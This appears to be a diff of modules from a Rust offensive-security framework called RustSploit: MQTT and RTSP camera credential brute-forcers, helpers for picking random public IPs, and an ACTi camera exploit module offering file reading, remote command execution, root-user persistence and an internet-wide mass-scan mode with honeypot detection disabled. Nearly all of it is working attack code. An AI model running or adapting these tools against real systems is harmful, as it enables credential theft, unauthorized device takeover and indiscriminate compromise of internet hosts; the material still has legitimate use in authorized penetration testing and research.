const MQTT_READ_TIMEOUT_MS: u64 = 2000;
#[derive(Clone)]
struct MqttBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
client_id: String,
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let port = prompt_int_range("MQTT Port", 1883, 1, 65535).await? as u16;
let username_wordlist = prompt_wordlist("Username wordlist file").await?;
let password_wordlist = prompt_wordlist("Password wordlist file").await?;
let threads = prompt_int_range("Max threads", 8, 1, 1000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let client_id = prompt_default("MQTT Client ID", "rustsploit_client").await?;
let config = MqttBruteforceConfig {
target: normalize_target(&target.to_string())?,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
client_id,
};
run_mqtt_bruteforce(config).await
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ MQTT Brute Force Module ║".cyan());
println!("{}", "║ Tests MQTT broker authentication ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
async fn run_mqtt_bruteforce(config: MqttBruteforceConfig) -> Result<()> {
let normalized = normalize_target(&config.target)?;
let addr = if (normalized.starts_with('[') && normalized.ends_with(']')) || (!normalized.contains(':')) {
format!("{}:{}", normalized, config.port)
} else {
normalized
};
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow!("Username or password wordlist is empty."));
}
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
passwords.len() // Assuming same length or cycling
};
// If not full combo, we define total as max(usernames, passwords) * cycles?
// The original code was:
// else if usernames.len() == 1 { passwords.len() }
// else if passwords.len() == 1 { usernames.len() }
// else { passwords.len() } -> implicit assumption of lockstep or cycling passwords against single user
// We will stick to the previous logic's rough count or just say "many".
println!("{}", format!("[*] Approximate attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Use shared stats
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_flag.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
tokio::time::sleep(Duration::from_secs(2)).await;
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate work items
// To avoid huge memory usage for large combos, we can stream/generate on fly or push all if reasonable.
// For consistency with other modules, we'll iterate.
if config.full_combo {
for u in &usernames {
for p in &passwords {
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
spawn_task(
&mut tasks, &semaphore, u.clone(), p.clone(),
config.clone(), addr.clone(),
found.clone(), stop_flag.clone(), stats.clone()
).await;
}
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
}
} else {
// Linear strategy similar to original module
// Original logic:
// if user=1 -> iterate passwords
// if pass=1 -> iterate users
// else -> iterate passwords (reusing user[0]) - This was original bug/limitation?
// Let's improve it: Cycle users if multiple
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
spawn_task(
&mut tasks, &semaphore, u.clone(), p.clone(),
config.clone(), addr.clone(),
found.clone(), stop_flag.clone(), stats.clone()
).await;
}
}
// Wait for tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Final report
stats.print_final().await;
let found_guard = found.lock().await;
if found_guard.is_empty() {
println!("{}", "[-] No valid credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", found_guard.len()).green().bold());
for (u, p) in found_guard.iter() {
println!(" {} {}:{}", "".green(), u, p);
}
// Simple save prompt if needed, or rely on user using tee
// The shared modules usually don't prompt for save at the end but user asked for previous behavior?
// Other refactored modules REMOVED the "save to file" prompt at the end to unify behavior
// (stdout is enough). I will stick to implicit unification: No post-run prompts.
}
Ok(())
}
async fn spawn_task(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
user: String,
pass: String,
config: MqttBruteforceConfig,
addr: String,
found: Arc<Mutex<Vec<(String, String)>>>,
stop_flag: Arc<AtomicBool>,
stats: Arc<BruteforceStats>,
) {
let permit = semaphore.clone().acquire_owned().await.ok();
if permit.is_none() { return; }
tasks.push(tokio::spawn(async move {
// explicit drop of permit at end of scope
let _permit = permit;
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { return; }
match try_mqtt_login(&addr, &user, &pass, &config.client_id).await {
Ok(true) => {
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
found.lock().await.push((user.clone(), pass.clone()));
stats.record_success();
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats.record_failure();
if config.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
}
Err(e) => {
stats.record_error(e.to_string()).await;
if config.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
}
}
}
}));
}
async fn try_mqtt_login(addr: &str, username: &str, password: &str, client_id: &str) -> Result<bool> {
// Resolve first (async)
// We can use default tokio resolution via TcpStream::connect, but strictly speaking we might want
// to resolve once if address is static, but here it's fine.
// Tokio TcpStream connect
let stream = tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
TcpStream::connect(addr)
).await.context("Connection timeout")??;
// We don't need explicit set_read_timeout for tokio stream generally if we use timeout() on ops
// But let's act on ops.
let mut stream = stream;
// Build MQTT CONNECT packet (same logic as before)
let mut packet = Vec::new();
packet.push(0x10); // CONNECT
let protocol_name = b"MQTT";
let protocol_level = 0x04;
let connect_flags = 0xC0; // User + Pass
let keep_alive: u16 = 60;
let mut var_header = Vec::new();
var_header.extend_from_slice(&(protocol_name.len() as u16).to_be_bytes());
var_header.extend_from_slice(protocol_name);
var_header.push(protocol_level);
var_header.push(connect_flags);
var_header.extend_from_slice(&keep_alive.to_be_bytes());
let mut payload = Vec::new();
let client_id_bytes = client_id.as_bytes();
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(client_id_bytes);
let username_bytes = username.as_bytes();
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(username_bytes);
let password_bytes = password.as_bytes();
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(password_bytes);
let remaining_length = var_header.len() + payload.len();
let mut remaining_length_bytes = Vec::new();
let mut x = remaining_length;
loop {
let mut byte = (x % 128) as u8;
x /= 128;
if x > 0 { byte |= 0x80; }
remaining_length_bytes.push(byte);
if x == 0 { break; }
}
packet.extend_from_slice(&remaining_length_bytes);
packet.extend_from_slice(&var_header);
packet.extend_from_slice(&payload);
// Send
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
stream.flush().await?;
// Read CONNACK
let mut response = [0u8; 4];
let n = tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read(&mut response)
).await.context("Read timeout")??;
if n < 2 { return Err(anyhow!("CONNACK too short")); }
if response[0] != 0x20 { return Err(anyhow!("Expected CONNACK 0x20")); }
if n >= 4 {
match response[3] {
0x00 => {
// Success. Disconnect nicely.
let _ = stream.write_all(&[0xE0, 0x00]).await;
Ok(true)
},
0x04 | 0x05 => Ok(false), // Auth fail
c => Err(anyhow!("Return code: 0x{:02x}", c))
}
} else {
Ok(false)
}
}
@@ -1,437 +0,0 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::SocketAddr,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::sleep,
};
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_default("RTSP Port", "554").await?
.parse().unwrap_or(554);
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let _save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if _save_results {
Some(prompt_default("Output file", "rtsp_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false).await?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE").await?;
if prompt_yes_no("Load extra RTSP headers from a file?", false).await? {
let headers_path = prompt_wordlist("Path to RTSP headers file").await?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false).await?;
let mut paths = if brute_force_paths {
let paths_file = prompt_wordlist("Path to RTSP paths file").await?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
// Use loop structure from other modules or this module's custom loop?
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
// I will preserve the original logic flow.
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
// The semaphore logic above (acquire_owned) already throttles concurrency.
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found (with these paths).".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
// Use shared normalization for the host/port part
let normalized_host = normalize_target(host_part)?;
// Check if normalized host implies a port. normalize_target returns host:port or host.
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
// However, existing logic seemed to force a port.
// Let's check if port is present.
// A simple heuristic: if it ends with digit, check for colon.
// [ipv6]:port, ipv4:port, host:port.
// If we assume normalize_target did its job, we just need to adhere to the return type.
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
// Checking for port on a normalized string:
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
} else {
normalized_host.contains(':')
};
let final_host = if has_port {
normalized_host
} else {
format!("{}:{}", normalized_host, default_port)
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((final_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
+85 -1
View File
@@ -1,9 +1,15 @@
use std::sync::atomic::{AtomicU64, Ordering};
// use std::sync::Arc; // Removed unused import
use std::time::Instant;
use colored::*;
use tokio::sync::Mutex;
use std::collections::HashMap;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::process::Command;
/// Standard statistics tracking for bruteforce modules
pub struct BruteforceStats {
@@ -117,3 +123,81 @@ impl BruteforceStats {
}
}
}
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
// Basic check first to avoid expensive loop
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
continue;
}
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
// Ensure state file exists before checking
if !std::path::Path::new(state_file).exists() {
if let Ok(mut file) = OpenOptions::new()
.create(true)
.write(true)
.open(state_file)
.await
{
let _ = file.flush().await;
}
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(state_file)
.stderr(std::process::Stdio::null())
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(state_file)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
let mut exclusion_subnets = Vec::new();
for cidr in min_ranges {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
exclusion_subnets
}
@@ -11,8 +11,10 @@ use reqwest::Client;
use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use std::io::{self, Write};
use tokio::io::AsyncWriteExt;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
@@ -156,6 +158,7 @@ fn display_banner() {
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
@@ -171,55 +174,31 @@ async fn execute(target: &str) -> Result<()> {
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut choice = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut choice)
.await
.context("Failed to read choice")?;
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut fp = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut fp)
.await
.context("Failed to read file path")?;
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut cmd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut cmd)
.await
.context("Failed to read command")?;
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut pwd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut pwd)
.await
.context("Failed to read password")?;
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
@@ -261,11 +240,28 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions (FIRST)
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
tokio::io::stdout().flush().await?;
io::stdout().flush()?;
let mut outfile = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut outfile).await?;
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
let outfile = outfile.to_string();
@@ -275,9 +271,9 @@ async fn run_mass_scan() -> Result<()> {
println!(" 1. Standard Check (Command: id)");
println!(" 2. Custom Command");
print!("{}", "Select option [1-2] (default 1): ".cyan());
tokio::io::stdout().flush().await?;
io::stdout().flush()?;
let mut mode_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut mode_str).await?;
io::stdin().read_line(&mut mode_str)?;
let mode = match mode_str.trim() {
"2" => ScanMode::CustomCommand,
_ => ScanMode::StandardCheck,
@@ -286,19 +282,11 @@ async fn run_mass_scan() -> Result<()> {
let mut custom_cmd = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command: ".cyan());
tokio::io::stdout().flush().await?;
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut custom_cmd).await?;
io::stdout().flush()?;
std::io::stdin().read_line(&mut custom_cmd)?;
custom_cmd = custom_cmd.trim().to_string();
}
let custom_cmd = Arc::new(custom_cmd);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let client = Client::builder()
.danger_accept_invalid_certs(true)
@@ -337,7 +325,7 @@ async fn run_mass_scan() -> Result<()> {
});
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cl = client.clone();
let chk = checked.clone();
@@ -368,7 +356,7 @@ async fn run_mass_scan() -> Result<()> {
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
execute(target).await
+193 -36
View File
@@ -1,8 +1,21 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use std::io::Write;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use ipnetwork::IpNetwork;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use chrono::Local;
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
@@ -15,6 +28,28 @@ use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
@@ -24,50 +59,172 @@ fn display_banner() {
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
pub async fn run(target: &str) -> Result<()> {
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
// Prompt for port
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
tokio::io::stdout()
.flush()
let port = prompt_port("Target Port", 8080)?;
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
let outfile = Arc::new(outfile);
